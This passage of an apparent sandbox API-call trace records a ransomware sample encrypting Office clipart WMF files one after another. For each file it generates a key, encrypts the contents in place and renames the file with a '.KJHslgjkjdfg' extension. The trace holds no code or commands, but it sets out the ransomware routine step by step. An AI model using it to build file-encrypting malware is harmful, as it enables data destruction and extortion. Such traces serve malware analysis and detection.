pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b70, dwBufLen=0x1b70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b70) returned 1 [0174.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.118] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b70, lpOverlapped=0x0) returned 1 [0174.118] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.118] SetEndOfFile (hFile=0x114) returned 1 [0174.121] GetProcessHeap () returned 0x2a0000 [0174.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.121] GetProcessHeap () returned 0x2a0000 [0174.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.121] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.kjhslgjkjdfg")) returned 1 [0174.122] CloseHandle (hObject=0x114) returned 1 [0174.122] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ec4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152876.WMF", cAlternateFileName="")) returned 1 [0174.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.123] GetProcessHeap () returned 0x2a0000 [0174.123] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.123] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.124] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.124] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0174.126] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.126] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.126] GetProcessHeap () returned 0x2a0000 [0174.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.126] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.126] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.126] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.126] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.126] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.126] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.126] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.127] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.127] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.127] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.127] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ec4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ec4, lpOverlapped=0x0) returned 1 [0174.128] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ed0, dwBufLen=0x1ed0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ed0) returned 1 [0174.128] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.128] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ed0, lpOverlapped=0x0) returned 1 [0174.128] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.128] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.128] SetEndOfFile (hFile=0x114) returned 1 [0174.130] GetProcessHeap () returned 0x2a0000 [0174.130] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.130] GetProcessHeap () returned 0x2a0000 [0174.130] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.kjhslgjkjdfg")) returned 1 [0174.132] CloseHandle (hObject=0x114) returned 1 [0174.132] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152878.WMF", cAlternateFileName="")) returned 1 [0174.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.133] GetProcessHeap () returned 0x2a0000 [0174.133] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.133] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.133] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.136] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.136] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.136] GetProcessHeap () returned 0x2a0000 [0174.136] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.136] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.136] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.136] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.136] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.136] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.137] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.137] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.137] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.137] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.137] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.137] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.137] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3a28, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3a28, lpOverlapped=0x0) returned 1 [0174.138] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a30, dwBufLen=0x3a30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a30) returned 1 [0174.138] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.138] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3a30, lpOverlapped=0x0) returned 1 [0174.139] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.139] SetEndOfFile (hFile=0x114) returned 1 [0174.142] GetProcessHeap () returned 0x2a0000 [0174.142] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.142] GetProcessHeap () returned 0x2a0000 [0174.142] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.kjhslgjkjdfg")) returned 1 [0174.143] CloseHandle (hObject=0x114) returned 1 [0174.143] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2370, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152882.WMF", cAlternateFileName="")) returned 1 [0174.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.144] GetProcessHeap () returned 0x2a0000 [0174.144] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.144] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.144] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.144] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.144] GetProcessHeap () returned 0x2a0000 [0174.144] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.144] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.145] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.145] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.147] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.147] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.147] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.147] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.147] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.147] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.147] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2370, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2370, lpOverlapped=0x0) returned 1 [0174.148] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2370, dwBufLen=0x2370 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2370) returned 1 [0174.148] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.148] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2370, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2370, lpOverlapped=0x0) returned 1 [0174.149] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.149] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.149] SetEndOfFile (hFile=0x114) returned 1 [0174.151] GetProcessHeap () returned 0x2a0000 [0174.152] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.152] GetProcessHeap () returned 0x2a0000 [0174.152] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.kjhslgjkjdfg")) returned 1 [0174.153] CloseHandle (hObject=0x114) returned 1 [0174.153] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152884.WMF", cAlternateFileName="")) returned 1 [0174.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.154] GetProcessHeap () returned 0x2a0000 [0174.154] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.154] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.154] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.154] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.157] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.157] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.157] GetProcessHeap () returned 0x2a0000 [0174.157] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.157] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.157] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.157] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.157] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.157] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.157] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.158] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.158] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.158] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.158] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.158] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b2c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b2c, lpOverlapped=0x0) returned 1 [0174.162] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b30, dwBufLen=0x1b30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b30) returned 1 [0174.162] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.162] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b30, lpOverlapped=0x0) returned 1 [0174.162] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.162] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.162] SetEndOfFile (hFile=0x114) returned 1 [0174.165] GetProcessHeap () returned 0x2a0000 [0174.165] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.165] GetProcessHeap () returned 0x2a0000 [0174.165] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.165] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.kjhslgjkjdfg")) returned 1 [0174.167] CloseHandle (hObject=0x114) returned 1 [0174.167] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, 